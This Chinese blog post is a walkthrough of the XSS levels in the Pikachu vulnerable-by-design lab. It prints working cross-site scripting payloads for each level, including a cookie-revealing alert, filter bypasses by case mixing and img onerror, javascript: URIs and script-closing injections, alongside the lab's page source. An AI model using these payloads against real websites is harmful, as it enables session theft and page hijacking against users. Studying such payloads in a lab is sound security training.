首页 > 其他分享 >pikachu xss

pikachu xss

时间:2022-10-30 13:22:43浏览次数:46  
标签:XSS xss pikachu 弹框 alert 输入 页面

1. 反射型XSS(get)

输入<script>alert("test")</script> 发现有长度限制(maxlength), F12 修改对输入框的长度限制,或者直接改url并encode(url为:http://localhost:8080/vul/xss/xss_reflected_get.php?message=<script>alert("test")<%2Fscript>&submit=submit)

再次输入
<script>alert("test")</script>

发现弹框,执行了脚本,注入ok

2. 反射型XSS (post)

这一关是要求先用admin/123456账号登录,然后进入一个页面获取cookie
输入

<script>alert(document.cookie)</script>

直接弹框爆出cookie

ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815

3. 存储型XSS

这个的原理就是注入的payload会保存在后端数据库中,然后前端查询回显时payload被执行

<script>alert("test")</script>

当页面刷新时,就会弹框

4. DOM型XSS

这个是指输入不经过后端,直接被dom吸收成为html一部分,直接就在前段被执行了。
插入

<script>alert("test")</script>

发现不行,查看网页源代码找线索,发现题眼都给我们了,哈哈

<div id="xssd_main">
                <script>
                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试:'><img src="#" onm ouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行
                </script>
                <!--<a href="" onclick=('xss')>-->
                <input id="text" name="text" type="text"  value="" />
                <input id="button" type="button" value="click me!" onclick="domxss()" />
                <div id="dom"></div>
            </div>

这里我们的输入要和 <a标签相结合使用
插入

'><img src="#" onm ouseover="alert('xss')">

鼠标滑过图片即会弹框
插入

' onclick="alert('xss')">

点击下方的链接,也会弹框了

5 DOM型xss-x

这一题其实和上一题几乎是一样的,只是加入了交互,第一个页面框中出入qwe,就会跳出一个可以点击的链接,同时url中携带了我们输入的内容

http://localhost:8080/vul/xss/xss_dom_x.php?text=qwe

分析源码:发现点击链接,会调用一个函数,函数会解析url,并获得text对应的value即qwe, 并使用在了<a标签中;于是就可以利用这一特性了
源码:

<div id="xssd_main">
                <script>
                    function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');
//                        alert(xss);

                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                    //试试:'><img src="#" onm ouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行
                </script>
                <!--<a href="" onclick=('xss')>-->
                <form method="get">
                <input id="text" name="text" type="text"  value="" />
                <input id="submit" type="submit" value="请说出你的伤心往事"/>
                </form>
                <div id="dom"></div>
            </div>

            <a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

于是:
第一个框插入

'><img src="#" onm ouseover="alert('xss')">

点击链接,再滑过图片,成功弹框

6 XSS盲打

XSS盲打主要是指发出的payload对本页面没什么影响,影响的是后台管理或者其他的页面
,注入后本页面是看不到效果的,比如本题需要去后台管理页面查看

直接插入

<script>alert("test")</script>

大名一列也可以注入,这里先不注随便写
根据提示中给出的后台登录页面,用admin账号登录,发现确实弹框,ok

7 xss 过滤

指前端后后端对输入的内容的关键字进行匹配,对敏感关键字不让输入,这题审计前端代码,看样子是后端在过滤
插入

# 1. 大小写绕过 ok
<SCRIPT>alert("jwt")</sCRIpt>

# 2. 双写绕过 本题失败
<scri<script>pt>alert(“jwt”)</scri</script>pt>

# 3. 注释干扰 本题失败
<scri<!--test-->pt>alert(“jwt”)</sc<!--test-->ript>

# 4. image标签注入 ok
<img src=x one rror=alert("jwt")>

8. XSS 之 htmlspecialchars

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数,这个函数默认情况下是 不会编码单引号的

语法:

$value = htmlspecialchars($_GET['value'], ENT_COMPAT); 
# 第2个参数规定了如何处理引号
ENT_COMPAT   # 默认,仅对双引号进行编码
ENT_QUOTES   # 推荐,编码单双引号
ENT_NOQUOTES # 不编码任何引号


预定义的字符是:
& (和号)成为 &amp
" (双引号)成为 &quot
''(单引号)成为 &#039
< (小于)成为 &lt
> (大于)成为 &lt

本题输入'"<>?#'13test试试水
页面显示正常,查看网页源代码

<div class="page-content">

            <div id="xssr_main">
                <p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
                <form method="get">
                    <input class="xssr_in" type="text" name="message" />

                    <input class="xssr_submit" type="submit" name="submit" value="submit" />
                </form>
                <p class='notice'>你的输入已经被记录:</p><a href=''&quot;&lt;&gt;?#'13test'>'&quot;&lt;&gt;?#'13test</a>            </div>

        </div>

发现被转码,除了单引号;那么可以利用这个特性进行注入
插入:

#' onclick=alert('jwt') '

实现弹框

9 XSS 之href输出

这里相对 8 更进了一步,使用了都htmlspecialchars函数,><"'&都被HTML实体化,且用户输入的在href标签里,可以考虑使用javascript协议来执行js代码

插入
javascript:alert('jwt')

生成的源码

<p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
                <form method="get">
                    <input class="xssr_in" type="text" name="message" />

                    <input class="xssr_submit" type="submit" name="submit" value="submit" />
                </form>
                <a href='javascript:alert(&#039;jwt&#039;)'> 阁下自己输入的url还请自己点一下吧</a>            </div>

虽然也被转码,但是不影响JavaScript协议的解析,点击后成功弹窗

10 xss 之 js 输出

查看源码

<script>
    $ms='kobe';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

可以通过payload闭合 script标签来执行
插入

法1
'</script><script>alert('jwt')</script>
法2
'; alert(1); //

成功弹窗,本质是闭合script,或者是$ms的单引号

标签:XSS,xss,pikachu,弹框,alert,输入,页面
From: https://www.cnblogs.com/gradyblog/p/16840794.html

相关文章

  • pikachu sql inject bool盲注
    输入框中输入已知用户名kobe显示了用户信息youruid:3youremailis:kobe@pikachu输入kobe'看一下情况显示您输入的username不存在,请重新输入!这还不能确定是否......
  • pikachu sql inject header 注入
    使用admin登录显示以下内容朋友,你好,你的信息已经被记录了:点击退出你的ip地址:172.17.0.1你的useragent:Mozilla/5.0(X11;Ubuntu;Linuxx86_64;rv:105.0)Gecko......
  • pikachu SQL-inject insert注入
    insert注入注册页面,用户处输入1'发现报错信息YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherig......
  • nginxssl证书配置
    nginx可以用openssl自建的CA证书反向代理互联网的https网站吗?当然不行呀,证书是由权威机构颁发的文件,自己生成的证书并不具备可信度,所以必须要向CA申请证书。这样才能在互联......
  • CTFHUB-Web技能树-XSS-反射型
    原文链接:https://blog.csdn.net/weixin_45808483/article/details/121330374一、题目二、工具使用XSSplatform平台进行攻击首先先注册,然后新建一个项目   我......
  • xss实战
    一、xss漏洞原理1.什么是xss漏洞?跨站点脚本(也称为XSS)是一种Web安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同......
  • xss攻击
    xss键盘记录xss插入代码<scripttype="text/javascript"src="./log.js"></script>log.jsdocument.onkeypress=function(evt){evt=evt?evt:window.event;key=St......
  • JAVA代码审计之xss
    java_sec_codexss补充和回忆一下一些开发基础@RestController@RequestMapping(value="/xss")publicclassXsstest{@ResponseBody@GetMapping("/test")......
  • #yyds干货盘点#再讲讲XSS公鸡
    XSS,跨站脚本公鸡,允许公鸡者将恶意代码植入到提供给其它用户使用的页面中。​​​​XSS​​涉及到三方,即公鸡者、客户端与​​Web​​应用。XSS的目的是获取系统的用户信息,包......
  • pikachu(文件包含)
    1.php中文件包含主要有以下四种函数:require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。include(),找不到被包含的文件时只会产生警告,脚本将继续运行。include_o......